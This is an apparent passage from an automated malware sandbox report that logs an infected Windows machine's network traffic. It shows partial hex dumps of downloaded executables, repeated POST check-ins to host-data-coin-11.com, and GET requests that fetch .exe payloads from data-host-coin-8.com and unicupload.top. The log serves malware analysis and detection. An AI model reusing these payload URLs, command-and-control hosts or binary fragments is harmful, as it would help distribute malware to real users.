6b 31 4c da 6a 72 39 de 6b 31 4c dd 6a 6a 39 de 6b 77 52 df 6a 68 39 de 6b 63 39 df 6b e4 39 de 6b d9 4c da 6a 70 39 de 6b d9 4c dc 6a 62 39 de 6b 52 69 63 68 63 39 de 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 51 ae e1 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 54 01 00 00 00 00 00 c8 a8 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 d0 04 00 00 04 00 00 12 0b 70 00 02 00 60 81 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 5b 03 00 78 00 00 00 00 b0 04 00 e3 05 00 00 00 80 04 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 48 07 00 00 20 39 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 39 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 50 02 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 35 02 00 00 10 00 00 00 36 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 18 01 00 00 50 02 00 00 1a 01 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 03 01 00 00 70 03 00 00 0c 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 e8 1d 00 00 00 80 04 00 00 1e 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 a0 04 00 00 02 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e3 05 00 00 00 b0 04 00 00 06 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 07 00 00 00 c0 04 00 00 08 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Fri, 14 Jan 2022 18:57:27 GMTAccept-Ranges: bytesETag: "9bd1193789d81:0"Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Fri, 14 Jan 2022 19:30:02 GMTContent-Length: 54272Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9c 76 4c 96 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 16 00 00 00 bc 00 00 00 00 00 00 12 35 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 34 00 00 4f 00 00 00 00 40 00 00 5c b9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 0c 00 00 00 a4 34 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 15 00 00 00 20 00 00 00 16 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 5c b9 00 00 00 40 00 00 00 ba 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 01 00 00 02 00 00 00 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 34 00 00 00 00 00 00 48 00 00 00 02 00 05 00 8c 23 00 00 60 10 00 00 01 00 00 00 01 00 00 06 ec 33 00 00 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 01 00 3a 00 00 00 01 00 00 11 00 28 13 00 00 0a 0b 12 01 28 14 00 00 0a 28 15 00 00 0a 00 73 05 00 00 06 0a 06 6f 04 00 00 06 00 28 13 00 00 0a 0b 12 01 28 14 00 00 0a 28 15 00 00 0a 00 16 0c 2b 00 08 2a 22 02 28 16 00 00 0a 00 2a 00 1b 30 06 00 ae 00 00 00 02 00 00 11 00 d0 20 00 00 01 28 17 00 00 0a 72 01 00 00 70 17 8d 14 00 00 01 25 16 d0 22 00 00 01 28 17 00 00 0a a2 28 18 00 00 0a 14 17 8d 10 00 00 01 25 16 20 20 4e 00 00 8c 22 00 00 01 a2 6f 19 00 00 0a 26 00 20 00 0c 00 00 28 1a 00 00 0a 00 00 de 05 26 00 00 de 00 d0 26 00 00 01 28 17 00 00 0a 72 0d 00 00 70 72 35 00 00 70 72 39 00 00 70 28 1b 00 00 0a 17 8d 14 00 00 01 25 16 d0 27 00 00 01 28 17 00 00 0a a2 28 18 00 00 0a 73 1c 00 00 0a 17 8d 10 00 00 01 25 16 72 3b 00 00 70 a2 6f 19 00 00 0a 74 01 00 00 1b 0a 2b 00 06 2a 00 00 01 10 00 00 00 00 42 00 0f 51 00 05 10 00 00 01 1b 30 03 00 37 01 00 00 03 00 00 11 00 02 28 03 00 00 06 0a 06 14 fe 03 13 04 11 04 2c 0b 06 16 06 8e
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 14 Jan 2022 19:30:12 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Fri, 07 Jan 2022 23:09:58 GMTETag: "61d8c846-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:12 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:18 GMTContent-Type: application/x-msdos-programContent-Length: 557664Connection: closeLast-Modified: Thu, 13 Jan 2022 19:20:04 GMTETag: "88260-5d57b92d7ebed"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 19:30:21 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Fri, 14 Jan 2022 16:06:29 GMTETag: "6ff1c1-5d58cfc604e56"Accept-Ranges: bytesContent-Length: 7336385Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 58 b0 38 63 39 de 6b 63 39 de 6b 63 39 de 6b 77 52 da 6a 68 39 de 6b 77 52 dd 6a 64 39 de 6b 77 52 db 6a df 39 de 6b 05 56 23 6b 67 39 de 6b 31 4c db 6a 45 39 de 6b 31 4c da 6a 72 39 de 6b 31 4c dd 6a 6a 39 de 6b 77 52 df 6a 68 39 de 6b 63 39 df 6b e4 39 de 6b d9 4c da 6a 70 39 de 6b d9 4c dc 6a 62 39 de 6b 52 69 63 68 63 39 de 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 cb 9e e1 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 54 01 00 00 00 00 00 c8 a8 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 d0 04 00 00 04 00 00 25 0a 70 00 02 00 60 81 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 5b 03 00 78 00 00 00 00 b0 04 00 e3 05 00 00 00 80 04 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 48 07 00 00 20 39 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 39 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 50 02 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 35 02 00 00 10 00 00 00 36 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 18 01 00 00 50 02 00 00 1a 01 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 03 01 00 00 70 03 00 00 0c 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 e8 1d 00 00 00 80 04 00 00 1e 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 a0 04 00 00 02 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e3 05 00 00 00 b0 04 00 00 06 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 07 00 00 00 c0 04 00 00 08 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown

HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49952 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pieilmtu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 280Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nwilglig.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 282Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nfbqltka.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cvdhldsf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 201Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qcjatd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 351Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xrovmrlel.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cmgcwqatb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://owgvnnuoml.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://opviax.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nunmqyect.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kyadmhioim.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rnsdjgkq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sjgvu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cqsurm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 324Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gculkm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ifvodd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lvmiyiiy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 227Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
